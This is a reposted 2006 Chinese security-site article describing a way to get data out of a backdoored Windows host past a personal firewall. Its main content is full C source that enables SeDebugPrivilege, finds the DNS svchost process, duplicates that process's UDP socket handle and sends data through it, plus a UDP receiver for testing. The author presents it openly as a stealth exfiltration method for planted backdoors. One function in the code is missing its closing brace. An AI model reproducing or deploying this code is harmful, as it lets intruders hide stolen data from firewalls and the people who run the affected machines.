奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 安全技术 >> 防火墙 >> 一种新的穿透防火墙的数据传输技术
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • 检测并禁用隐藏服务

  • 著名黑客工具CC攻击的

  • 黑客攻破SQL服务器系统

  • 《Snort 中文手册》网

  • 与网络游戏木马过招

  • 网络安全反击战:入侵

  • 恶意代码十三大症状及

  • 公司屏蔽IM软件的一点

  • 一种新的穿透防火墙的数据传输技术
    字体:

    中华网络安全联盟    作者:佚名    来源:转载    时间:2006-4-19

    使用该技术背景:
        在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).

        针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
    相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
    将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

    1. 找出目标进程
    2. 找出SOCKET句柄
    2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
    3. 用转换后的SOCKET进行数据传输

        上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
    可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
    针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.

        看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".

        我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
    拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...

    下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
    编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
    具体解决方法请细看注释部分...

    /*++

      Made By ZwelL
      zwell@sohu.com
      2005.4.12
    --*/

    #include <winsock2.h>
    #include <stdio.h>
    #include <wtsapi32.h>

    #pragma comment(lib, "ws2_32")
    #pragma comment(lib, "wtsapi32")

    #define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
    #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

    typedef LONG    NTSTATUS;

    typedef struct _SYSTEM_HANDLE_INFORMATION
    {
        ULONG            ProcessId;
        UCHAR            ObjectTypeNumber;
        UCHAR            Flags;
        USHORT            Handle;
        PVOID            Object;
        ACCESS_MASK        GrantedAccess;
    } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

    typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

    ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

    BOOL LocateNtdllEntry ( void )
    {
        BOOL    ret         = FALSE;
        char    NTDLL_DLL[] = "ntdll.dll";
        HMODULE ntdll_dll   = NULL;


        if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
        {
            printf( "GetModuleHandle() failed");
            return( FALSE );
        }
        if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
        {
            goto LocateNtdllEntry_exit;
        }
        ret = TRUE;

    LocateNtdllEntry_exit:

        if ( FALSE == ret )
        {
            printf( "GetProcAddress() failed");
        }
        ntdll_dll = NULL;
        return( ret );
    }


    /*++
    This routine is used to get a process's username from it's SID
    --*/
    BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
    {
        // sanity checks and default value
        if (pUserSid == NULL)
            return false;
        strcpy(szUserName, "?");

        SID_NAME_USE   snu;
        TCHAR          szUser[_MAX_PATH];
        DWORD          chUser = _MAX_PATH;
        PDWORD         pcchUser = &chUser;
        TCHAR          szDomain[_MAX_PATH];
        DWORD          chDomain = _MAX_PATH;
        PDWORD         pcchDomain = &chDomain;

        // Retrieve user name and domain name based on user's SID.
        if (
            ::LookupAccountSid(
            NULL,
            pUserSid,
            szUser,
            pcchUser,
            szDomain,
            pcchDomain,
            &snu
            )
            )
        {
            wsprintf(szUserName, "%s", szUser);
        }
        else
        {
            return false;
        }

        return true;


    /*++

    This routine is used to get the DNS process's Id
     
    Here, I use WTSEnumerateProcesses to get process user Sid,
    and then get the process user name. Beacause as it's a "NETWORK SERVICE",
    we cann't use OpenProcessToken to catch the DNS process's token information,
    even if we has the privilege in catching the SYSTEM's.

    --*/
    DWORD GetDNSProcessId()
    {
        PWTS_PROCESS_INFO pProcessInfo = NULL;
        DWORD             ProcessCount = 0;
        char              szUserName[255];
        DWORD              Id = -1;

        if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
        {
            // dump each process description
            for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
            {

                if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
                {
                    GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                    if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                    {
                        Id = pProcessInfo[CurrentProcess].ProcessId;
                        break;
                    }
                }
            }

            WTSFreeMemory(pProcessInfo);
        }

        return Id;
    }


    /*++
    This doesn't work as we know, sign...
    but you can use the routine for other useing...
    --*/
    /*
    BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
    {
        HANDLE hProcess = NULL,
                hAccessToken = NULL;
        TCHAR InfoBuffer[1000], szDomainName[200];
        PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
        DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
        SID_NAME_USE snu;

        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
        if(hProcess == NULL)
        {
            printf("OpenProcess wrong");
            CloseHandle(hProcess);
            return false;
        }

        if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
        {
            printf("OpenProcessToken wrong:%08x", GetLastError());
            return false;
        }

        GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
            1000, &dwInfoBufferSize);

        LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
            &dwAccountSize,szDomainName, &dwDomainSize, &snu);

        if(hProcess)
            CloseHandle(hProcess);
        if(hAccessToken)
            CloseHandle(hAccessToken);
        return true;
    }*/


    /*++
    Now, it is the most important stuff... ^_^
    --*/
    SOCKET GetSocketFromId (DWORD PID)
    {
        NTSTATUS                     status;
        PVOID                        buf   = NULL;
        ULONG                        size  = 1;
        ULONG                        NumOfHandle = 0;
        ULONG                        i;
        PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
        HANDLE    sock = NULL;
        DWORD    n;

        buf=malloc(0x1000);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
        if(STATUS_INFO_LENGTH_MISMATCH == status)
        {
            free(buf);
            buf=malloc(n);
            if(buf == NULL)
            {
                printf("malloc wrong\n");
                return NULL;
            }
            status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
        }
        else
        {
            printf("ZwQuerySystemInformation wrong\n");
            return NULL;
        }

        NumOfHandle = *(ULONG*)buf;

        h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

        for(i = 0; i<NumOfHandle ;i++)
        {
            try
            {
                if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )
                    && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                                // So I jump over this situation...
                                                // May be it's different in your system,
                    ) //wind2000 is 0x1a
                {
                    //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                    if( 0 == DuplicateHandle(
                        OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
                        (HANDLE)h_info[i].Handle,
                        GetCurrentProcess(),
                        &sock,
                        STANDARD_RIGHTS_REQUIRED,
                        true,
                        DUPLICATE_SAME_ACCESS)
                        )
                    {
                        printf("DuplicateHandle wrong:%8x", GetLastError());
                        continue;
                    }

                    //printf("DuplicateHandle ok\n");
                    sockaddr_in name = {0};
                    name.sin_family = AF_INET;
                    int namelen = sizeof(sockaddr_in);
                    getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                    //printf("PORT=%5d\n",    ntohs( name.sin_port ));
                    if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                        break;
                }
            }
            catch(...)
            {
                continue;
            }
        }

        if ( buf != NULL )
        {
            free( buf );
        }
        return (SOCKET)sock;
    }


    /*++
    This is not required...
    --*/
    BOOL EnablePrivilege (PCSTR name)
    {
        HANDLE hToken;
        BOOL rv;

        TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
        LookupPrivilegeValue (
            0,
            name,
            &priv.Privileges[0].Luid
            );

        priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        OpenProcessToken(
            GetCurrentProcess (),
            TOKEN_ADJUST_PRIVILEGES,
            &hToken
            );

        AdjustTokenPrivileges (
            hToken,
            FALSE,
            &priv,
            sizeof priv,
            0,
            0
            );

        rv = GetLastError () == ERROR_SUCCESS;

        CloseHandle (hToken);
        return rv;
    }

    void main()
    {
        WSADATA wsaData;
        char    testbuf[255];
        SOCKET    sock;
        sockaddr_in RecvAddr;

        int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
        if (iResult != NO_ERROR)
            printf("Error at WSAStartup()\n");

        if(!LocateNtdllEntry())
            return;

        if(!EnablePrivilege (SE_DEBUG_NAME))
        {
            printf("EnablePrivilege wrong\n");
            return;
        }

        sock = GetSocketFromId(GetDNSProcessId());
        if( sock==NULL)
        {
            printf("GetSocketFromId wrong\n");
            return;
        }

        //Change there value...
        RecvAddr.sin_family = AF_INET;
        RecvAddr.sin_port = htons(5555);
        RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

        if(SOCKET_ERROR == sendto(sock,
                "test",
                5,
                0,
                (SOCKADDR *) &RecvAddr,
                sizeof(RecvAddr)))
        {
            printf("sendto wrong:%d\n", WSAGetLastError());
        }
        else
        {
            printf("send ok... Have fun, right? ^_^\n");
        }
       
        getchar();

        //WSACleanup();
        return;
    }

     

    很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
    因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
    但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

    再用下面的代码测试:


    /*++
    UdpReceiver
    --*/
    #include <stdio.h>
    #include "winsock2.h"

    #pragma comment(lib, "ws2_32")

    void main()
    {
      WSADATA wsaData;
      SOCKET RecvSocket;
      sockaddr_in RecvAddr;
      int Port = 5555;
      char RecvBuf[1024];
      int  BufLen = 1024;
      sockaddr_in SenderAddr;
      int SenderAddrSize = sizeof(SenderAddr);

      //-----------------------------------------------
      // Initialize Winsock
      WSAStartup(MAKEWORD(2,2), &wsaData);

      //-----------------------------------------------
      // Create a receiver socket to receive datagrams
      RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

      //-----------------------------------------------
      // Bind the socket to any address and the specified port.
      RecvAddr.sin_family = AF_INET;
      RecvAddr.sin_port = htons(Port);
      RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

      bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

      //-----------------------------------------------
      // Call the recvfrom function to receive datagrams
      // on the bound socket.
      printf("Receiving datagrams...\n");
      while(1)
      {
        recvfrom(RecvSocket,
            RecvBuf,
            BufLen,
            0,
            (SOCKADDR *)&SenderAddr,
            &SenderAddrSize);
        printf("%s\n", RecvBuf);
      }

      //-----------------------------------------------
      // Close the socket when finished receiving datagrams
      printf("Finished receiving. Closing socket.\n");
      closesocket(RecvSocket);

      //-----------------------------------------------
      // Clean up and exit.
      printf("Exiting.\n");
      WSACleanup();
      return;
    }


    测试步骤:
    1. 在一台机器上执行UdpReceiver,
    2. 在安装防火墙的机器上执行第一个程序.

    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.